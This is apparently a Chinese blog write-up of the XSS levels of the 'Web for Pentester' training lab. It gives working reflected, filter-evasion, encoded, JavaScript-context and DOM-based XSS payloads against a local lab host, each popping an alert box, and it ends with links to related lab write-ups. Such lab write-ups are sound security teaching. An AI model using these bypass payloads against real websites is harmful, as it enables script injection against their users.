Web for pentester_writeup之XSS篇
Web for pentester_writeup之XSS篇
XSS(跨站脚本攻击)
Example 1

反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段,
Payload:
http://192.168.219.136/xss/example1.php?name=<script>alert(1)</script>

Example 2
和例1相似,但是做了相关字符串正则过滤,过滤<script></script>字符串

Paload1:
http://192.168.219.136/xss/example2.php?name=<scri<script>pt>alert(1)</scri</script>pt>

Paload2:
http://192.168.219.136/xss/example2.php?name=<Script>alert(1)</sCript>

Example 3

同样是过滤,使用例2的payload2无法成功

使用例2的payload1成功绕过过滤,可知新加了一层大小写过滤,但未考虑到标签包含标签方式过滤
Payload1:
http://192.168.219.136/xss/example3.php?name=<scri<script>pt>alert(1)</scri</script>pt>

还有一种方式,就是不使用script脚本
Payload2:
http://192.168.219.136/xss/example3.php?name=<img src=x onerror=alert(1)>

Example 4

返回值变为error,测试其他payload,发现只要payload包含script字符就会报错,使用无script字符的脚本验证
Payload1:
http://192.168.219.136/xss/example4.php?name=<img src=x onerror=alert(1)>

Payload2:
http://192.168.219.136/xss/example4.php?name=<BODY ONLOAD=alert('XSS')>

成功弹窗。
Example 5


测试上述payload均报错,应该是过滤掉了alert字符,测试使用html实体编码均失败
http://192.168.219.136/xss/example5.php?name=<img src=x onerror=alert(1)>
http://192.168.219.136/xss/example5.php?name=<script>alert(1)</script>
使用eval执行编码绕过
Payload1(十进制)
http://192.168.219.136/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

Payload2(十六进制)
http://192.168.219.136/xss/example5.php?name=<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>

Payload3
http://192.168.219.136/xss/example5.php?name=<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
OR
http://192.168.219.136/xss/example5.php?name=<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>


Payload4((BASE64编码)将<<script>alert(1)</script>整个base64编码为:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)
http://192.168.219.136/xss/example5.php?name=<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

Payload5(prompt)
http://192.168.219.136/xss/example5.php?name=<img src=x onerror=prompt(1)>

Example 6
使用上述的payload测试均无法成功弹窗,页面返回“ "; ”


发现返回payload后面的字符串
Payload1
http://192.168.219.136/xss/example6.php?name=<scri<script>pt>alert(1)</scri</script>pjkgkhhhhhhhhhhhhhhht><script>alert(1)</script>

为了找到具体的原因,设置Payload值为<script>alert(1)</script>,查看网页源代码

发现提交的东西赋入了变量a,故构造
Payload2
http://192.168.219.136/xss/example6.php?name=</script><script>alert(1);"

Example 7
使用</script><script>alert(1);"无法弹窗,直接查看源代码

发现对<>做了转义处理,通过闭合前后的单引号“’”,成功弹窗
Payload
http://192.168.219.136/xss/example7.php?name='; alert(1);'
OR(直接注释掉后面的单引号)
http://192.168.219.136/xss/example7.php?name='; alert(1)//


Example 8

开始有输入框了,猜测是存储性跨站脚本,输入<script>alert(1)</script>

无弹窗,查看源代码

尖括号被转义,尝试各种编码都失败了,查看参考答案发现还是反射型跨站脚本,一开始思路就错了,啪啪打脸。
漏洞点在于/xss/example8.php,通过在/xss/example8.php/[XSS_PAYLOAD]注入payload可以获取弹窗
Payload
http://192.168.219.136/xss/example8.php/"><script>alert(1)</script>

Example 9


这个的意思是指取地址栏#后的语句,然后也没做什么过滤,很简单的加入标签就好了
Payload
http://192.168.219.136/xss/example9.php?<script>alert(1)</script>

注:本关卡主要理解domxss的作用,在字符串带入中可以用?和#,如果用?需要和服务器交互,但是如果用#,则可以抓包看到实际上请求的xss脚本并未提交到服务器,这里可以更好的理解domxss,实际上不需要服务器的解析,实际上是利用浏览器的dom解析就可以完成,这是domxss与其他xss最本质的区别
注意(这里有点坑) :
用的ie浏览器可以实验成功
火狐和谷歌浏览器都会对<转码:%3Cscript%3Ealert(1)%3C/script%3E
Web for pentester_writeup之XSS篇的更多相关文章
- Web for pentester_writeup之XML attacks篇
Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...
- Web for pentester_writeup之LDAP attacks篇
Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...
- Web for pentester_writeup之File Upload篇
Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...
- Web for pentester_writeup之Commands injection篇
Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...
- Web for pentester_writeup之Code injection篇
Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...
- Web for pentester_writeup之File Include篇
Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...
- Web for pentester_writeup之Directory traversal篇
Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...
- Web for pentester_writeup之SQL injections篇
Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...
- Web For Pentester 学习笔记 - XSS篇
XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给 ...
随机推荐
- CentOS7下mongodb忘记密码后重置密码
新装mongodb后,结果一段时间没有用,密码给忘记了,只能重置密码了. 步骤如下: 1.找到mongodb的配置文件 通过ps -ef|grep mongod找到mongodb的配置文件mongod ...
- 主动降噪技术(ANC)的前生今世–行业分析
一 原始玩家 1978年,创始人Amar G. Bose博士在从欧洲飞往波士顿的飞机上,发现飞机引擎的噪音扫净了他戴耳机欣赏音乐的兴致.这激发了他在BOSE公司进行一项消噪科技的研究.弹指之间,十年过 ...
- jquery复习日记(1)
jquery封装了JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作.事件处理.动画设计和Ajax交互. 核心关键字: 链式.多功能.高效灵活 1 ...
- Nullable Reference Types 可空引用类型
在写C#代码的时候,你可能经常会遇到这个错误: 但如果想避免NullReferenceException的发生,确实需要做很多麻烦的工作. 可空引用类型 Null Reference Type 所以, ...
- 打造属于自己的 HTML/CSS/JavaScript 实时编辑器
转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者.原文出处:https://blog.bitsrc.io/build-an-html-css-js-playgr ...
- LInux下npm install 安装失败问题
现象: 今天公司自己动部署的Jenkins出现了问题,在执行npm install的时候,失败了,下载不到npm,在查阅了各种报错信息之后还是没有解决,发现用淘宝镜像进行安装时,也会有安装不成功的情况 ...
- 【Autofac打标签模式】PropertySource和Value
[ Autofac打标签模式]开源DI框架扩展地址: https://github.com/yuzd/Autofac.Annotation/wiki *:first-child { margin-to ...
- Arduino学习笔记③ 经典LED
1.前言 今天我们开始同时讲解理论以及实践.对于绝大部分有过单片机编程经历的人来说,第一个接触的大多数就是LED灯(忽然想起博主大一那个懵懂的时代,当时大三的师兄给我们展现了一把流水灯功力,当 ...
- 元祖tuple
1.区别: 列表有序的,可以被修改 元祖一级元素不可以被修改,删除,添加,内部的列表中的元素可以被修改 tu = (5,'gf',58,[65,'hf'],'fdg') tu[3][1]=3562.定 ...
- node项目发布+域名及其二级域名配置+nginx反向代理+pm2
学习node的时候也写了一些demo.但是只是限于本地测试,从来没有发布.今天尝试发布项目. 需要准备的东西 node 项目:为了突出重点,说明主要问题.我只是拿express 写了很简单的demo. ...